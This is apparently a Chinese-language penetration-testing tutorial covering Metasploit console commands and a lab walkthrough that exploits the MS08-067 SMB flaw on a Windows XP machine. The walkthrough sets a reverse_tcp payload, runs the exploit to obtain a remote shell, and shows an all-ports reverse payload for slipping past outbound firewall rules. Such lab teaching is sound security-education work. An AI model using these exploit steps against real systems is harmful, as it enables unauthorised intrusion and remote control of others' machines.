渗透第一课:尝试渗透
渗透第一课:尝试渗透
- 在简单点额了解了Metasploit框架后,我们就需要学习使用msf和Kali渗透攻击了
0x00:攻击基础
Metasploit框架中含有数百个模块,当然无法用“脑子”,也没有功夫去记所有的模块(除非很闲),当然了,一些比较基础的还是需要记住的了。
msf > show exploits
- 命令作用:
- 显示MSF框架中所有可用的攻击模块。在msf终端中可以针对发现的漏洞实施对应的攻击策略。
- (Metasploit团队依旧在维护攻击模块,所以说这个列表会非常的长,笔者现在使用的时候有1896条)
msf > show auxiliary
- 命令作用:
- 显示所有的辅助模块和用途(英文),辅助模块用途非常广,可以是扫描器、DoS工具、Fuzz测试器等工具
msf > show options
- 命令作用:
- 参数 options 是保证Metasploit框架中各个模块正确运行所需要的各种设置,输入 show options 会列出这个模块所需要的各个参数。如果没有选择模块,输入这个命令显示所有的全局参数,
- 输入 back 命令可以返回上一级命令状态哦!(在模块中quit/exit会直接退出msf终端)
-
msf > search [关键字词]
- 如果想在众多的模块中,找到针对某一个特定的类型的攻击模块的时候,可以使用search命令进行模块组件的搜索;当然search命令也支持搜索特定的模块,并显示该模块的具体位置。
我们利用search命令搜到了某模块的位置,use进入该模块操作。
进入模块(任何模式下use和search命令都可以跳到另一个模块中)使用show options显示模块参数。
msf > show payloads
攻击载荷是一种针对特定平台的一段攻击代码,通过网络传送到攻击目标进行执行。和show options一样,在模块下执行 show payloads 命令,Metasploit会将和当前模块兼容的攻击载荷显示出来。
在针对Windows操作系统的攻击中,简单的攻击爱喝可能只会返回目标主机的一个命令行界面,而复杂的攻击载荷则会返回一个完整的图形操作界面。
msf > show payloads # 显示Metasploit下所有支持的攻击载荷
- 在例如ms08_067模块下显示攻击载荷列表
msf exploit(windows/smb/ms08_067_netapi) > show payloads #x显示ms08_067模块支持的攻击载荷列表
- 选择使用的攻击载荷(reverse_tcp > 反弹式TCP连接)
msf5 exploit(windows/smb/ms08_067_netapi) > set payload windows/shell/reverse_tcp
在选择reverse_tcp攻击载荷方法后,输入 show options ,就会显示需要配置的参数列表
options显示的参数分为ms08_067模块下的参数和reverse_tcp攻击载荷下的参数。
- 可以配置(LHOST和LPORT)让目标主机回连到攻击机的特定的IP地址和端口号上,这就称为反弹式的攻击载荷(其中LPORT默认为4444端口);在攻击载荷中,连接是由目标主机发起的,并且其连接对象是攻击机[可以使用这种技巧穿过防火墙和NAT网关]
msf > show targets
Metasploit攻击模块通常可以列出受到漏洞影响目标的操作系统的类型。比如针对MS08_067漏洞的攻击依赖于硬编码的内存地址,所以这个攻击针对的是特定的操作系统版本且适合特定的补丁级别、语言版本以及安全机制实现的。由此攻击是否成功,取决于目标Windows系统的版本。
msf5 exploit(windows/smb/ms08_067_netapi) > show targets # 自动选择
在 show targets的显示列表中,攻击列表中的一个选项。通常攻击模块通过目标操作系统的指纹信息,自动选择OS版本进行攻击;不过最好的还是通过人工更加的识别处信息并选择选项,避免触发错误、破坏性的攻击。
info 命令
show和search命令提供的信息过于简短;可以使用 info 命令加上模块的名字(info[模块名]或者模块下info命令)可以显示模块的详细信息、参数说明以及可操作的OS。
set 和 unset 命令
Metasploit模块中的所有参数两种状态:已设置(set)和未设置(unset)。
部分参数 show options后Required会别标记为Yes(必填);必填的选项需要使用set命令对参数设置(同时启用)使用unset命令可以禁用相关的参数。
msf [模块] > set [参数] [设置参数内容]
- 命令操作
msf5 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.2.184
RHOSTS => 192.168.2.184
msf5 exploit(windows/smb/ms08_067_netapi) > set target 10
target => 10
msf5 exploit(windows/smb/ms08_067_netapi) > show options
如此,我们将模块的攻击目标RHOSTS和Tatget都配置完成了;
使用 show options 命令查看模块的参数配置,确认配置完成。
setg 和 unsetg 命令
setg和unstg命令可以在模块内设置参数配置的同时,完成/抹除全局的参数配置;使用这组命令则不必每次都重复设置同样的参数了。
save 命令
在使用全局参数配置后,可以使用 save 命令将当前的设置值保存下来,这样二次启动msf终端的时候,依旧可以使用这些参数值。
msf5 exploit(windows/smb/ms08_067_netapi) > save
Saved configuration to : /root/.msf3/config
save命令执行后,参数值会别保存在磁盘上(/root/.msf3/config)
0x01:首次渗透(Win_xp)
对目标靶机进行漏洞扫描
- 使用Nessus或其他漏洞扫描工具(Web管理页面操作)
Nessus 漏洞扫描结果:
从扫描结果中我们发现目标存在MS08-067【CVE-2008-4250】漏洞
- nmap手工扫描漏洞
ps:如果有了经验后,也可以通过nmap进行手工扫描,在这里就针对MS08-067漏洞进行扫描,查看是否存在该漏洞。
msf5 > nmap -sT -A --script=smb-vuln-ms08-067 -PO 192.168.2.184
扫描命令采用 -sT/-sS(隐秘) 和 -A(全面) 扫描目标,并引用nmap脚本(--script)—”smb-vuln-ms08-067“扫描目标。
我们在第三行{VULNERABLE}的显示结果,表示存在第四行的{MS08_067}漏洞
第六行显示了该漏洞的CVE编号【CVE-2008-4250】,后续显示相关的漏洞信息
攻击前的确认和准备
确认目标主机存在MS08_067漏洞,我们进入msf环境调用该漏洞的攻击模块
我们在之前的nmap中确认了目标的操作系统为:Microsoft Windows XP Professional SP2
选择使用的攻击载荷===>(reverse_tcp > 反弹式TCP连接)
设置目标主机的操作系统的具体系统版本类型(由于MS08_067是不同系统有不同的方法所以……)
设置目标的IP地址、TCP反弹的监听地址IP和端口
攻击开始
msf5 exploit(windows/smb/ms08_067_netapi) > exploit #测试能否攻击 (进入方法 1)
meterpreter > shell #可以进入目标系统的cmd
msf5 exploit(windows/smb/ms08_067_netapi) > run #![](https://img2018.cnblogs.com/blog/1512305/201906/1512305-20190615205304100-1944401348.png)
攻击 (进入方法 2)
shell 交互式界面,此时就可以控制对方的操作系统了
攻陷成功
当我们可以在cmd模式的shell交互界面中操作对方系统的时候,就表示我们成功攻陷对方主机了!
0x02 全端口攻击载荷:暴力猜解目标开放端口
可以攻陷Win_XP系统,原因在于目标主机反弹连接使用的端口没有被过滤掉;但如果我们攻击的组织内部设置了严格的防火墙出站策略,就无法接收反弹连接了。
我们可以猜解443端口有没有被防火墙禁止,可以进行逐一尝试常见的服务端口;当然MSF也提供了一个专用的攻击载荷帮助我们找到“可利用”的端口。
msf5 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/dllinject/reverse_tcp_allports
0x03:模仿攻击Ubantu主机
我们对Windows xp攻击完成了,我们可以对Linux主机进行模仿的攻击,虽然目标不同,但是攻击思路是类似的,在攻击载荷是不同的。
- 手动扫描目标主机
通过nmap的手动扫描结果看出目标主机的以下信息:
- SSH-22和apache-80端口和服务处于开启的状态
- 目标系统为 Ubantu Linux